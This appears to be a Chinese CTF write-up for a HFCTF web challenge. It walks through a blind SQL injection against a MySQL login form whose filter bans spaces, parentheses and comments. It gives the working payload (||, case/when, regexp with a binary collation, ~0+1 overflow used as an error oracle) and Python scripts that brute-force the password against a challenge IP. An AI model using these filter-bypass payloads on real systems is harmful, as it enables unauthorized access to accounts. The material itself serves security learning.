几天前接触了一下HFCTF,太菜了被打爆了,完全帮不上忙,之后看了一下学长们的解题过程学习了一下

首先就被前端的限制给迷惑了,但是其实可以在后端打,所以这个前端可以不用管

image.png

后端js给了源码,sql语句是这样的

image.png

给了创建的表,表为auth,username和password是列,那么我们只需要将username和password给查出来就可以了

image.png

然后还给了一个正则表达式

image.png

一开始能看出来后端过滤掉了unionbinarybinary这里不知道是干什么的,这里问了一下学长,才知道这个binary可以将某个查询后的结果回显以二进制的方式输出

建议是自己在本地环境测试一下这个正则表达式,来知道剩下的过滤了些什么

随便试了一些例子

image.png

过滤了*-空格()#,这就麻烦大了,因为连括号都没得用的话就代表不能使用substr这样的函数来盲注了,而且想用注释符闭合语句的方法不可取,得用其他的方法来闭合语句或者是不闭合(到后面发现其实不用闭合)

之后看了看几个学长们的做法

这里附上Kevin学长提供的脚本,基本盲注思路还是差不多的,重点是研究一下这个payload

1
2
3
4
5
6
7
8
9
10
import requests

password = ""
while True:
for i in '!@%_1234567890asdfghjklqwertyuiopzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.':
req=requests.post("http://47.107.231.226:29667/login", data={"password":"1", "username":"'||case'0'when`password`collate'utf8mb4_bin'regexp'^{}'then~0+1||'1'end||'1'='2".format(password+i)})
if "401" in req.text:
password+=i
print(password)
break

sql语句是这样的

1
'||case'0'when`password`collate'utf8mb4_bin'regexp'^{}'then~0+1||'1'end||'1'='2

最终拼接到原sql语句是这样的

1
SELECT * FROM auth WHERE username=''||case'0'when`password`collate'utf8mb4_bin'regexp'^{}'then~0+1||'1'end||'1'='2' LIMIT 1

空格的绕过构造成正常的语句使用了单引号'和反引号以及管道符||||等同于or,但直接使用or也要空格,解决不了问题,可以用||&&来占位并执行命令),反引号是mysql的转义符,反引号可以用来指定某个表名/列名,也可以当作一种单引号来处理

这里先解释一下为什么不用等于号而是regexp=的使用需要配合类似于substr这样的函数来取第几位、取几位字符串的问题,但正如前言,括号都给你ban掉了,函数也别想用了

那为什么可以用regexp/rlike呢,因为可以配合^(开始)$(结束)这两个正则表达式的符号,^{}就是从{}里面的字符开始匹配,所以这样的话可以做到一位一位的匹配字符,然后爆破出来

但是这个username和password是区分大小写的,只用regexp/rlike的话会全部输出成小写字符(不区分大小写)

这个payload用了一个collate'utf8mb4_bin'加在了password列名后面,这样就可以区分出大小写了

官方文档给的解释

image.png

utf8mb4:Unicode 字符集的 UTF-8 编码,每个字符使用一到四个字节

其他的这些_utf8mb4utf8mb4_0900_as_cs都可以起到类似的效果

这里利用了报错注入布尔盲注

重点说下这里的报错盲注

对0取补码,已经是当前mysql版本的最大数字了,+1会让数据溢出,导致mysql报错,报错了的话,之后的sql语句就不会执行了(其实执行与否都无关紧要,重要的是看是否报错)

image.png

报错的情况是500,正常的访问是401,可以利用这两者的差距来判断

if()这样的条件判断盲注不能用了,可以使用case,when配合报错

这个语句有点复杂,我先在本地环境试一下

借此学习了一下mysql,首先发现这个~0+1是否执行与case0(false)1(true)有关(我的mysql不知道为啥用不了utf8mb4_bin,用utf8mb3_bin代替一下)

image.png

上面的语句是执行了then后面的~0+1,下面的语句没有执行then的语句

我研究了一下casewhen语句,发现有点像c语言的switch语句

image.png

在执行一个then的语句之后,后面的then就不会再执行了

注意:case,when,then的结尾必须加上end关键词

上面的图当中,当case=1的时候,若regexp匹配成功则执行then之后的语句~0+1,触发报错和500

case=0的时候与之相反

但是事情好像没有这么简单

image.png

当我尝试构造一个'1'='0'的永假式的时候,报错执行成功了,但是当我尝试构造一个'1'='1'的永真式的时候,它直接无视了我的报错执行

我从中得出了一个结论:这个sql语句用||好几个部分,其中payload当中的'1'='2纯粹是为了闭合limit前面的单引号

其实这样也可以(不过是因为空格被过滤了所以需要多用上一个||以及一个'1'来使sql语句本身正确)

image.png

image.png

接下来确实是爆破出了账号和密码

但是按照上述的脚本跑的话出现了这样的状况

1
QaY8TeFYzC67aeoO/m52FPlDxYyLB.eIzAr!8gxh.

理论上来说,密码当中应该没有这2个点,到后面用利用了python中的format才发现这两个字符是^$

1
2
3
4
5
6
7
8
9
import requests

password = "m52fpldxyylb"
result = ""

for i in '!@$%^&_+':
for j in '!@$%^&_+':
req=requests.post("http://47.107.231.226:29667/login", data={"password":"m52FPlDxYyLB{}eIzAr!8gxh{}".format(i,j), "username":"qay8tefyzc67aeoo"})
print(req.text, "m52FPlDxYyLB{}eIzAr!8gxh{}".format(i,j))

就是说不用正则表达式了,直接用format,类似于你在C语言当中想输出一个\(转义字符)的时候你需要打两个\才可以

即为^123456$只能输出123456,而不能输出^$这两个符号(太坑了)

总结结束!